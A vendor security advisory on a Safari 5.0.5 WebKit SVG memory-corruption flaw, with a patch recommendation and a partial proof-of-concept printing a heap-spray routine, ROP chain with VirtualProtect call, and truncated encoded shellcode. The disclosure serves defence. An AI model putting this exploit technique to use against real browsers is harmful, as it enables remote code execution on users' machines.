

# Security News

## 2011-31014 Safari 5.0.5 SVG Remote Code Execution Vulnerability

### 1. Affected Version

Apple Safari 5.0.5

### 2. Description

WebKit, as used in Apple Safari before 5.0.6, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site, a different vulnerability than other WebKit CVEs listed in APPLE-SA-2011-07-20-1.

### 3. Vulnerability Analysis

The partial proof-of-concept code is listed as follows:

```
function run_tests()
{
    toggle_gc();
    var payload = unescape('%u0004%u7fc0%u000c%u7fc0'
+ '%uB1C1%u7C9F'           // mov esp, [ecx] | some instruction | ret
(stackPivot)
+ '%u0010%u7fc0%u4242%u4242'
+ '%uD53A%u7C96'           // pop ecx | ret
+ '%u1AD4%u7C80'           // virtualProtect
+ '%u29D2%u7C83'           // mov eax, ecx | ret
+ '%u99DE%u7642'           // call eax | pop ecx | ret
+ '%u003c%u7fc0'           // shellcode Address
+ '%u2000%u0000'           // size
+ '%u0040%u0000'           // permission
+ '%u0034%u7fc0'
+ '%u6666%u6666'
```

```
+ '%u003c%u7fc0');  
  
var shellcode = unescape("%u9090%u8166%ufce4%u31ff%u56f6%u8b64%u3076%u768b%u8b0c%u1c76%u6e8b%u8b08 . . . ");  
payload += shellcode;  
  
spray(300,20000, payload);  
t1 = window.open('target.svg', 't1');  
setTimeout('event_loop()', 1000);  
}
```

Table 1: The partial proof-of-concept code

The vulnerability is caused by multiple memory corruption issues existed in WebKit. Visiting a maliciously crafted website may lead to an unexpected application termination or arbitrary code execution.

#### **4. Recommendation**

1. AegisLab IDP signature database can prevent this attack since 29/07/2011.
2. Apply the appropriate patch for your system, as listed in:  
<http://support.apple.com/kb/HT4808>

#### **5. Reference**

1. <http://support.apple.com/kb/HT4808>
2. [CVE-2011-0222](#)

**About Lionic:** Lionic Corporation is an innovative network security chip and IP design company. It provides optimal cost-performance solutions for network security products from 30Mbps SOHO devices to 4Gbps enterprise-level appliances.

**For more information, please visit Lionic website and contact our sales representatives.**

Web site: [www.lionic.com](http://www.lionic.com) e-mail: [sales@lionic.com](mailto:sales@lionic.com) Tel: 886-3-578-9399 Fax: 886-3-578-0707